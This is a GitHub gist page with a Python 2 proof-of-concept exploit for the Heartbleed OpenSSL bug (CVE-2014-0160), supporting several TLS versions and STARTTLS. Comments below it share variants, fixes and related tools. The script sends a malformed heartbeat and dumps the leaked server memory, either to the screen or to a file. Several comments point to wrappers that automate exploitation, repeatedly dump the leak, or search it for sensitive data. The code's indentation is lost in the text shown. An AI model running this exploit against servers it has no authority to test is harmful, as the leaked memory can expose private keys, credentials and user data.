Last active

Embed URL

HTTPS clone URL

SSH clone URL

You can clone with HTTPS or SSH.

Download Gist

OpenSSL heartbeat PoC with STARTTLS support.

View hb-test.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207
#!/usr/bin/env python2
"""
Author: takeshix <takeshix@adversec.com>
PoC code for CVE-2014-0160. Original PoC by Jared Stafford (jspenguin@jspenguin.org).
Supportes all versions of TLS and has STARTTLS support for SMTP,POP3,IMAP,FTP and XMPP.
"""
 
import sys,struct,socket
from argparse import ArgumentParser
 
tls_versions = {0x01:'TLSv1.0',0x02:'TLSv1.1',0x03:'TLSv1.2'}
 
def info(msg):
print '[+] {}'.format(msg)
 
def error(msg):
print '[-] {}'.format(msg)
sys.exit(0)
 
def debug(msg):
if opts.debug: print '[*] {}'.format(msg)
 
def parse_cl():
global opts
parser = ArgumentParser(description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
parser.add_argument('host', help='IP or hostname of target system')
parser.add_argument('-p', '--port', metavar='Port', type=int, default=443, help='TCP port to test (default: 443)')
parser.add_argument('-f', '--file', metavar='File', help='Dump leaked memory into outfile')
parser.add_argument('-s', '--starttls', metavar='smtp|pop3|imap|ftp|xmpp', default=False, help='Check STARTTLS')
parser.add_argument('-d', '--debug', action='store_true', default=False, help='Enable debug output')
opts = parser.parse_args()
 
def hex2bin(arr):
return ''.join('{:02x}'.format(x) for x in arr).decode('hex')
 
def build_client_hello(tls_ver):
client_hello = [
# TLS header ( 5 bytes)
0x16, # Content type (0x16 for handshake)
0x03, tls_ver, # TLS Version
0x00, 0xdc, # Length
# Handshake header
0x01, # Type (0x01 for ClientHello)
0x00, 0x00, 0xd8, # Length
0x03, tls_ver, # TLS Version
# Random (32 byte)
0x53, 0x43, 0x5b, 0x90, 0x9d, 0x9b, 0x72, 0x0b,
0xbc, 0x0c, 0xbc, 0x2b, 0x92, 0xa8, 0x48, 0x97,
0xcf, 0xbd, 0x39, 0x04, 0xcc, 0x16, 0x0a, 0x85,
0x03, 0x90, 0x9f, 0x77, 0x04, 0x33, 0xd4, 0xde,
0x00, # Session ID length
0x00, 0x66, # Cipher suites length
# Cipher suites (51 suites)
0xc0, 0x14, 0xc0, 0x0a, 0xc0, 0x22, 0xc0, 0x21,
0x00, 0x39, 0x00, 0x38, 0x00, 0x88, 0x00, 0x87,
0xc0, 0x0f, 0xc0, 0x05, 0x00, 0x35, 0x00, 0x84,
0xc0, 0x12, 0xc0, 0x08, 0xc0, 0x1c, 0xc0, 0x1b,
0x00, 0x16, 0x00, 0x13, 0xc0, 0x0d, 0xc0, 0x03,
0x00, 0x0a, 0xc0, 0x13, 0xc0, 0x09, 0xc0, 0x1f,
0xc0, 0x1e, 0x00, 0x33, 0x00, 0x32, 0x00, 0x9a,
0x00, 0x99, 0x00, 0x45, 0x00, 0x44, 0xc0, 0x0e,
0xc0, 0x04, 0x00, 0x2f, 0x00, 0x96, 0x00, 0x41,
0xc0, 0x11, 0xc0, 0x07, 0xc0, 0x0c, 0xc0, 0x02,
0x00, 0x05, 0x00, 0x04, 0x00, 0x15, 0x00, 0x12,
0x00, 0x09, 0x00, 0x14, 0x00, 0x11, 0x00, 0x08,
0x00, 0x06, 0x00, 0x03, 0x00, 0xff,
0x01, # Compression methods length
0x00, # Compression method (0x00 for NULL)
0x00, 0x49, # Extensions length
# Extension: ec_point_formats
0x00, 0x0b, 0x00, 0x04, 0x03, 0x00, 0x01, 0x02,
# Extension: elliptic_curves
0x00, 0x0a, 0x00, 0x34, 0x00, 0x32, 0x00, 0x0e,
0x00, 0x0d, 0x00, 0x19, 0x00, 0x0b, 0x00, 0x0c,
0x00, 0x18, 0x00, 0x09, 0x00, 0x0a, 0x00, 0x16,
0x00, 0x17, 0x00, 0x08, 0x00, 0x06, 0x00, 0x07,
0x00, 0x14, 0x00, 0x15, 0x00, 0x04, 0x00, 0x05,
0x00, 0x12, 0x00, 0x13, 0x00, 0x01, 0x00, 0x02,
0x00, 0x03, 0x00, 0x0f, 0x00, 0x10, 0x00, 0x11,
# Extension: SessionTicket TLS
0x00, 0x23, 0x00, 0x00,
# Extension: Heartbeat
0x00, 0x0f, 0x00, 0x01, 0x01
]
return client_hello
 
def build_heartbeat(tls_ver):
heartbeat = [
0x18, # Content Type (Heartbeat)
0x03, tls_ver, # TLS version
0x00, 0x03, # Length
# Payload
0x01, # Type (Request)
0x40, 0x00 # Payload length
]
return heartbeat
 
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
 
def rcv_tls_record(s):
try:
tls_header = s.recv(5)
if not tls_header:
error('Unexpected EOF (header)')
typ,ver,length = struct.unpack('>BHH',tls_header)
message = ''
while len(message) != length:
message += s.recv(length-len(message))
if not message:
error('Unexpected EOF (message)')
debug('Received message: type = {}, version = {}, length = {}'.format(typ,hex(ver),length,))
return typ,ver,message
except Exception as e:
return None,None,None
 
if __name__ == '__main__':
parse_cl()
 
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
info('Connecting...')
s.connect((opts.host, opts.port))
except Exception as e:
error(str(e))
 
if opts.starttls:
BUFSIZE=4096
if opts.starttls == 'smtp':
re = s.recv(BUFSIZE)
debug(re)
s.send('ehlo starttlstest\r\n')
re = s.recv(BUFSIZE)
debug(re)
if not 'STARTTLS' in re:
debug(re)
error('STARTTLS not supported')
s.send('starttls\r\n')
re = s.recv(BUFSIZE)
elif opts.starttls == 'pop3':
s.recv(BUFSIZE)
s.send('STLS\r\n')
s.recv(BUFSIZE)
elif opts.starttls == 'imap':
s.recv(BUFSIZE)
s.send('STARTTLS\r\n')
s.recv(BUFSIZE)
elif opts.starttls == 'ftp':
s.recv(BUFSIZE)
s.send('AUTH TLS\r\n')
s.recv(BUFSIZE)
elif opts.starttls == 'xmpp':
s.send("<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' to='%s' version='1.0'\n")
s.recv(BUFSIZE)
supported = False
for num,tlsver in tls_versions.items():
info('Sending ClientHello for {}'.format(tlsver))
s.send(hex2bin(build_client_hello(num)))
info('Waiting for Server Hello...')
while True:
typ,ver,message = rcv_tls_record(s)
if not typ:
error('Server closed connection without sending ServerHello for {}'.format(tlsver))
continue
if typ is 22 and ord(message[0]) is 0x0E:
info('Reveiced ServerHello for {}'.format(tlsver))
supported = num
break
if supported: break
 
if not supported:
error('No TLS version is supported')
 
info('Sending heartbeat request...')
s.send(hex2bin(build_heartbeat(supported)))
 
while True:
typ,ver,message = rcv_tls_record(s)
if not typ:
error('No heartbeat response received, server likely not vulnerable')
if typ is 24:
info('Received heartbeat response:')
if len(message) > 3:
if opts.file:
try:
f = open(opts.file,'w')
f.write(message)
f.flush()
f.close()
debug('Written leaked memory into {}'.format(opts.file))
except Exception as e:
error(str(e))
else:
hexdump(message)
info('Server is vulnerable!')
sys.exit(0)
else:
error('Server processed malformed heartbeat, but did not return any extra data.')
elif typ is 21:
error('Received alert')

Hi,

a "quick'n'dirty OpenVAS nasl wrapper for this script is available here:

https://gist.github.com/RealRancor/10140249

here is quick&dirty port of this script to python3: https://gist.github.com/dyatlov/10192468

We are releasing OpenMAGIC https://github.com/isgroup-srl/openmagic a wrapper to automatically exploit the OpenSSL CVE-2014-0160 vulnerability

Can you please explain how did you construct the heartbeat request: hb = h2bin('''18 03 02 00 03 01 40 00''')
It must somehow correspond to the HeartbeatMessage struct, but I don't manage to construct it myself. Shouldn't struct.pack('>BH', {1,2}, len) give the results?

This assumes TLS 1.2, but some servers only respond to heartbeat request with TLS 1.1 header. For example, medium.com doesn't respond until you replace "18 03 02 00 03 01 40 00" with "18 03 01 00 03 01 40 00".

decal commented

https://github.com/decal/ssltest-stls/blob/master/ssltest-stls.py This is a slight modification based on OpenSSL apps/s_client.c source code that implements STARTTLS for SMTP, POP3, IMAP, FTP and XMPP.

radum commented

Now add these 3 lines of code and dump this file in the same folder to make it work behind a corporate proxy:

Uses the http://socksipy.sourceforge.net/ lib

import socks

...

socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, "proxy.server", 8080, True)
socket.socket = socks.socksocket
partp commented

Quick and dirty batch script to dump Heartbleed memory leak at regular interval using this script.
https://gist.github.com/partp/10377512

537 commented

Quick and dirty.

Lines 122 and 129 in the starttls section:
Had to add a '\r' before the '\n' or the script would sit and wait.

Thanks for the script though. :)

@klutzy

This assumes TLS 1.2, but some servers only respond to heartbeat request with TLS 1.1 header. For example, medium.com doesn't respond until you replace "18 03 02 00 03 01 40 00" with "18 03 01 00 03 01 40 00".

Yes, thats true. This script only have found 13 vulnerable servers at an testrange where 103 vulnerable server where found using Nessus for example. Also most Servers are also only answers on TLS 1.0.

A bit late to the party, but: https://gist.github.com/zenoamaro/10560337

Still derived from original code. Cleaned up, added support for TLS revision, variable payload length, dumping to file, searching for leak of sensitive data via regex. Will add STARTTLS later on if I get to test that.

ah8r commented

@klutzy

This assumes TLS 1.2, but some servers only respond to heartbeat request with TLS 1.1 header. For example, medium.com doesn't respond until you replace "18 03 02 00 03 01 40 00" with "18 03 01 00 03 01 40 00".

I think your version numbers are mixed up. The bytes "03 02" in the ClientHello set the version of TLS to 1.1, not 1.2. To set the version of TLS to 1.2, you'd have to use bytes "03 03", and for TLS 1.0 you need "03 01".

Also, note that the bytes that refer to the version number of TLS appear twice in the ClientHello (at byte positions 1-2 and 9-10) and once in the heartbeat request.

Owner

I quickly rewrote the complete script and added support for various features. I also added some information about the TLS messages, to make the procedure more clear.

Hi I am getting Following error when executing this query.
File "main.py", line 15
print '[+] {}'.format(msg)
^
IndentationError: expected an indent

I am pretty new in Python, can you please explain a bit, what should be done. i am running script on Windoes 7, and Python 34, through cmd command

Owner

This script was written for Python 2. It is not compatible with Python 3.x. Besides other incompatibilities in this script, that's whats causing your error: https://docs.python.org/3.0/whatsnew/3.0.html#print-is-a-function

actually i am using both Python version. in 2.7 i am getting same error. any ideas?

python2.7 main.py

File "main.py", line 15
print '[+] {}'.format(msg)
^
IndentationError: expected an indented block

Ok. so after I get the text file. How am I supposed to analyze this?

I had to change all the unnamed fields to named ones to get this to work in python 2.6 (Red Hat)

If it just hangs there for a long time I assume that means that the Heartbeat extension is not available, it's not getting a response, so is not vulnerable.

Hi,

just a side note: Some special server configurations are not detected by this script. There was a similar problem in OpenVAS:

http://lists.wald.intevation.org/pipermail/openvas-nvts-commits/2014-April/000369.html

where the SERVER_HELLO was not detected. The current version of this script here just stalls at:

[+] Waiting for Server Hello...

where OpenVAS and also the Metasploit module detects an vulnerable server.

King68 commented 4 days ago

actually i am using both Python version. in 2.7 i am getting same error. any ideas?

python2.7 main.py

File "main.py", line 15
print '[+] {}'.format(msg)
^
IndentationError: expected an indented block


Corrected this by copying and pasting into a Microsoft word document. Then, I cut right from it from there and paste it into a file. Doing this will keep the tab format intact.

@PhilipCurtis Python is a intendation-sensetive language and you have corrupted the intendation when you created the file, thus getting the error. Correct the intendation in the code and it will run. Pretty basic stuff really...

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Something went wrong with that request. Please try again.